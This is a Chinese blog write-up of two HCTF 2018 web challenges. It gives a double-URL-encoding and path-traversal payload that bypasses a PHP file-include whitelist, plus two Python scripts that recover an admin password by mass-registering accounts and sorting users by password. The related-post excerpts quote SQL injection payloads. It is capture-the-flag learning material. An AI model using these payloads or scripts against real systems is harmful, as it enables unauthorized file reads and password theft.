首先,来说说本次比赛吧。

  1. 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解)
  2. 发现可测试的地方要通过各种手段进行尝试。
  3. ctf题与真正的漏洞有差距。需要换种思维来考虑问题。

然后,就是差距了。大佬的热身题只需半分钟,而我们足足做啦十几个小时,还需要大佬点拨。只想说,咦,真垃圾啊!好啦,不废话啦。进入正题。

warmup(热身)

首先打开题目,发现源码中存在提示:
\
点击hint发现url变成:

http://warmup.2018.hctf.io/index.php?file=hint.php

并显示:flag not here, and flag in ffffllllaaaagggg
所以更改url为:

http://warmup.2018.hctf.io/index.php?file=source.php

发现源码:

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)){
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)){
                return true;
            }

            $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            // echo "$_page";//$_page=db_sql.php?/../../../../test.txt
            // exit;
            $_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
            // echo "$_page";//$_page=db_sql.php
            // print_r($whitelist);//Array ( [source] => source.php [hint] => hint.php ) 
            // exit;
            if (in_array($_page, $whitelist)) {
                echo "success<br>";
                return true;
            }
            echo "you can't see it1";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])){
        echo "aaaaa";
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

    echo $_REQUEST['file'];//db_sql.php%253f/../../../../test.txt
?>

观察代码
在url进行传参的时候会自动进行一次url解码可以把%25解码变成%,因为源码中又进行啦一次url解码($_page = urldecode($page))会把%3f解析为?,然后通过截取函数,截取到%253f前面的内容。这让我们有啦可称之机。
然而在include包含文件的时候把source.php%253f理解成一个目录,这是我们需要通过../来跨目录,一般五个../到达根目录。(可以多写些来到达根目录)

payload:http://warmup.2018.hctf.io/index.php?file=hint.php%253f../../../../../ffffllllaaaagggg

CVE漏洞详情:https://blog.csdn.net/nzjdsds/article/details/81260335

基础储备

MySQL数据排序asc、desc

单一字段排序order by 字段名称

排序采用 order by 子句,order by 后面跟上排序字段,排序字段可以放多个,多个采用逗号间隔,order by默认采用升序(asc),如果存在 where 子句,那么 order by 必须放到where 语句后面。

然后就是排序的内容:
mysql对大小写不敏感。
小写永远排在大写前。其他有待考察。

本题思路:
注册后登陆进入后发现存在参数order=……,以为是order by 注入。结果人家对order by过滤的特别严。不存在注入(mmp)。
正确解法:http://game.2018.hctf.io/web2/user.php?order=password

我们可以根据密码进行排序。不断注册新用户,密码诸位与admin的密码进行比较。比如注册个密码为d的用户,然后按密码排序,发现它在admin下面。然后注册一个密码为e的用户,发现他在admin上面。由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。

大佬脚本:

import requests
import hashlib
import threading

def md5(str):
    sha = hashlib.md5(str)
    encrypts = sha.hexdigest()
    return encrypts

def reg(username,password):
    url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
    data = {
        "username":username,
        "password":password,
        "sex":"1",
        "submit":"submit"
    }
    headers = {
        'Connection': 'close',
    }
    r = requests.post(url=url,data=data,headers=headers)

def fuzz(start,end):
    for i in range(start,end):
        password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
        username=md5(password)
        content = username + " " + password +" "+ str(i) + "\n"
        reg(username, password)
        print content
    print str(start)+'~'+str(end)+"complete"

step=20
for i in range(33,127,step):
    t = threading.Thread(target=fuzz, args=(i, i+step))
    t.start()

一位一位得到密码。
脚本2:

import requests
import random
import string
def reg(username,password):
    print("reg",username,password)
    session = requests.Session()

    paramsGet = {"action": "reg"}
    paramsPost = {"password": password, "submit": "submit", "sex": "1", "username": username}
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
               "Referer": "http://game.2018.hctf.io/web2/reg.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
                            headers=headers)

    print("Status code:   %i" % response.status_code)
    print("Response body: %s" % response.content)
def login(session,username,password):
    paramsGet = {"action": "login"}
    paramsPost = {"password": password, "submit": "submit", "username": username}
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
               "Referer": "http://game.2018.hctf.io/web2/index.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post("http://game.2018.hctf.io/web2/action.php", data=paramsPost, params=paramsGet,
                            headers=headers)

    print("Status code:   %i" % response.status_code)
    print("Response body: %s" % response.content)

def getUserList(session):
    headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0",
               "Referer": "http://game.2018.hctf.io/web2/game/index.html", "Connection": "close",
               "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}

    response = session.get("http://game.2018.hctf.io/web2/user.php?order=password", headers=headers)

    print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
    tlist = response.text.split('<tr>')
    nList = tlist[2:]
    idList = []
    nameList=[]
    for _ in nList:
        info=[]
        ems = _.split('<td>')
        c=0
        for __ in ems:
            x = __.split('</td>')[0].strip()
            if len(x)>0:
                info.append(x)
                if c==0:
                    idList.append(x)
                if c==1:
                    nameList.append(x)
                c = c + 1
    return idList,nameList
def getIndexByName(nameList,x):
    return nameList.index(x)
def getIndexById(idList,x):
    return idList.index(x)
def genRandomString(slen=10):
    return ''.join(random.sample(string.ascii_letters + string.digits, slen))
def main():
    myUsername= 'test@zhua.zhua'
    myPassword='test@test'
    mySession = requests.Session()
    username="93aa243d3ef17"
    password="DSA8&&!@#$%^&D1NGY1A"
    login(mySession,myUsername,myPassword)
    idList,nameList = getUserList(mySession)
    print(idList)
    print(nameList)
    print(nameList[getIndexById(idList,'1')])
    for _ in range(1,100):
        l=0
        r=128
        while l<r:
            mid=(l+r+1)//2
            temp = chr(mid)
            testPass = password+temp
            testUser = username+genRandomString(10)
            reg(testUser,testPass)
            idList, nameList = getUserList(mySession)
            adminC = getIndexById(idList, '1')
            testC = getIndexByName(nameList, testUser)
            print('compare',adminC,testC,'mid=',mid,'l,r',l,r)
            if adminC<testC:
                l=mid
            else:
                r=mid-1
        print(l,r)
        password = password+chr(l)
        print('password',password)

if __name__ =="__main__":
    main()

由于exp进行二分时是由小逼近,所以注入结果最后一位存在比真实目标值小一的可能,通过求得的结果。

菜的我,脚本都看不懂。

  • 2019年上海嘉韦思杯writeup

    1土肥原贤二报错注入 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 然后注表1’ and updatexml(1,concat(0x7e,(select group_co...

    2019年上海嘉韦思杯writeup
  • ctf中web的常见知识点

    本地访问和伪造ipX-Forwarded-For: 127.0.0.1 域名解析可以更改HTTP头部host字段为flag.bugku.com 把 flag.bugku.com 解析到120.24.86.145 直接在 c:\wind...

    ctf中web的常见知识点
  • 2018安恒杯好黑的黑名单

    emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。 尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。...

    2018安恒杯好黑的黑名单
  • insert into 注入

    题目题目连接:http://123.206.87.240:8002/web15/题目提示: flag格式:flag{xxxxxxxxxxxx} 不如写个Python吧 error_reporting(0); function ge...

    insert into 注入
  • bugku中的前女友(SKCTF)

    知识储备strcmp()函数int strcmp ( string $str1 , string $str2 ) 说明 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 strcmp二进制安全...

    bugku中的前女友(SKCTF)
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • 护网杯签到题

    首先,护网杯对新手不友好。看题看到绝望!!!全程懵逼状态。好啦不吐槽啦。。。。 进入正题:迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份: 首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup